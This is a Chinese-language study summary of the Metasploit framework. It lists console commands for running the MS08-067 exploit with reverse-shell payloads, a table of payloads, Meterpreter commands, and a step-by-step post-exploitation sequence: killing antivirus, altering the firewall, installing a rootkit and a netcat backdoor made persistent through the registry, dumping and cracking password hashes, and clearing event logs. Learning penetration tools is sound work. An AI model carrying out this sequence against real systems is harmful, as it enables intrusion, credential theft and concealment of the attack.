Metasploit学习总结

一:前言

Metasploit是一个漏洞利用框架,我们可以获取,使用,开发,共享漏洞攻击程序,(可以根据自己的需要开发漏洞攻击程序)。

并且提供了大量的攻击载荷供我们选择,所谓的攻击载荷就是再目标计算机上实现"额外的功能",就像是回答的问题:“我已经控制了机器,还要做什么”,一般来说,最受欢迎的攻击载荷包括添加用户,开启后门,以及在目标机安装新软件

二:使用

原则:把Metasploit作为手术刀,精准利用漏洞攻击程序。把已知的系统漏洞和Metasploit中预先打包好的漏洞攻击程序匹配 (Nmap --script vuln IP /漏洞扫描软件的报告)

0 msfupdate   更新Metasploit

1 msfconsole  启动控制台

2 search 漏洞编号   eg:serach ms08-067(注意漏洞编号的书写)

3 use 漏洞攻击程序  eg: use exploit/windows/smb/ms08_067_netapi

4 show payloads 显示可用的攻击载荷 

5. set payload 攻击载荷名称 eg:set payload windows/vncinject/reverse_tcp

6 show options 设置攻击载荷

7 show options 查看需要设置的选项

8 set lhost/rhost

9 show options 确认参数是否设置正确

10 exploit 攻击

其他:show targets 可以查看成功渗透攻击的目标平台有哪些

如果在Metasploit中找不到匹配的漏洞利用程序,可以尝试搜索Exploit-DB,漏洞利用和概念验证代码的公开知识库。 

三:常用的攻击载荷 

Metasploit载荷名称 载荷描述
windows/adduser 在目标计算机上的本地管理员组创建新用户
windows/exec 在目标计算机上执行一个windows二进制文件(.exe)
windows/shell_bind_tcp 在目标计算机上启动一个命令行shell等待连接
windows/shell_reverse_tcp 目标计算机反弹到攻击机,并启动一个shell
windows/meterpreter/bind_tcp 目标计算机安装meterpreter,等待连接
windows/meterpreter/reverse_tcp 目标计算机上安装meterpreter,创建反向连接
windows/vncinject/bind_tcp 目标计算机上安装vnc,等待连接
windows/vncinject/reverse_tcp 目标计算机上安装vnc,返回vnc连接

四:Meterpreter

Meterpreter又叫Meta-Interpreter,是Metasploit中的一个可用的攻击载荷,为攻击者提供了强大的命令行shell,可以和目标机进行交互。而且Meterpreter运行在内存中,可以躲过杀毒软件以及一些内存取证工具

Meterpreter和Windows下的cmd.exe或者linux下的/bin/sh有着类似的功能,一旦安装到受攻击的计算机上,就像攻击者坐在目标机前。Meterpreter的运行权限与被攻击的程序的运行权限一致。

故:以最少的权限运行所有的程序

使用传动的cmd和linux下的shell,会启动新的进程,容易被管理用或用户发现,而且cmd和 bin/sh只提供了有限的工具和命令。

常用功能:

安装返回Meterpreter之后,就相当于使用linux命令实现windows控制

命令 效果
migrate 将服务迁移到另一个进程中
cat 查看文件在屏幕上显示
download 从目标机上下载文件或文件夹
upload 上传文件到目标机
shell 返回目标机的shell
hashdump 提取密码散列
cd ls ps pwd mkdir pwd 和在linux上功能一样

五:Meterpreter利用流程

1. 对目标使用Meterpreter攻击载荷

2. 使用 migrate 将Meterpreter转移到不为人熟知的常见进程(服务主机 svchost.exe)

3. 使用kill命令禁用防病毒软件

4. 使用 shell命令访问目标机的shell ,并使用 netsh advfirewall firewall 命令更改windows防火墙设置

5. 在禁用防病毒软件后,使用upload上传一个包含Rootkit或John the Ripper等工具

6. 使用execute -f 命令安装Rootkit

7. 如果Rootkit没有包含后门,那么用execute -f 安装 netcat作为永久的后门

8. 用reg命令修改注册表,确保netcat持久化

9. 用hashdump 提取密码散列,使用 JtR破解密码

10. 用edit 命令配置rootkit.ini文件,隐藏上传的文件、后门、新打开的端口

11. 从攻击机建立到目标的新连接,测试上传的后门

12. 用 clearev命令 清除事件日志

六:Meterpreter命令

1.基本命令

1. background   将Meterpreter终端隐藏在后台,可以执行其他命令

2. sessions       可以查看已经成功获取的会话,如果想继续与某会话进行交互,可以使用 sessions -i  ID

3. quit   关闭当前的Meterpreter会话,返回MSF终端

4. shell  获取目标机的shell控制台

2.文件系统命令

1. cat 查看文件内容  eg:cat c:\\bootini

2. getwd   获取目标机上的当前工作目录

3. getld    获取当前系统的工作目录

4. upload 上传文件或文件夹到目标机 eg:upload netcat.ext c:\

5. download 从目标机上下载文件或文件夹 eg:download c:\\****

6. edit   调用vim编辑器,对目标机上的文件进行编辑  eg: edit c:\\windows\\system32\drivers\etc\hosts

7. search 对目标机上文件进行搜索  eg:search -h 查看帮助

3.网络命令

1. ipconfig  获取目标机上的网络接口信息

2. portfwd  Meterpreter内嵌的端口转发器

3. route  显示目标主机的路由信息

4.系统命令

1. ps  获取目标主机上正在运行的进程信息

2. migrate 把Meterpreter会话从一个进程移植到另一个进程的内存空间中

3. execute 在目标机上执行文件  eg: execute -H -f -i cmd.exe

4. getpid 获取当前会话的PID值

5. kill    终结指定的PID进程

6. getuid 获取运行Meterpreter会话的用户名,查看当前会话具有的权限

7. sysinfo 得到目标系统一些细腻

8. shutdown 关闭目标主机,Meterpreter也被关闭

你可能感兴趣的:(Metasploit)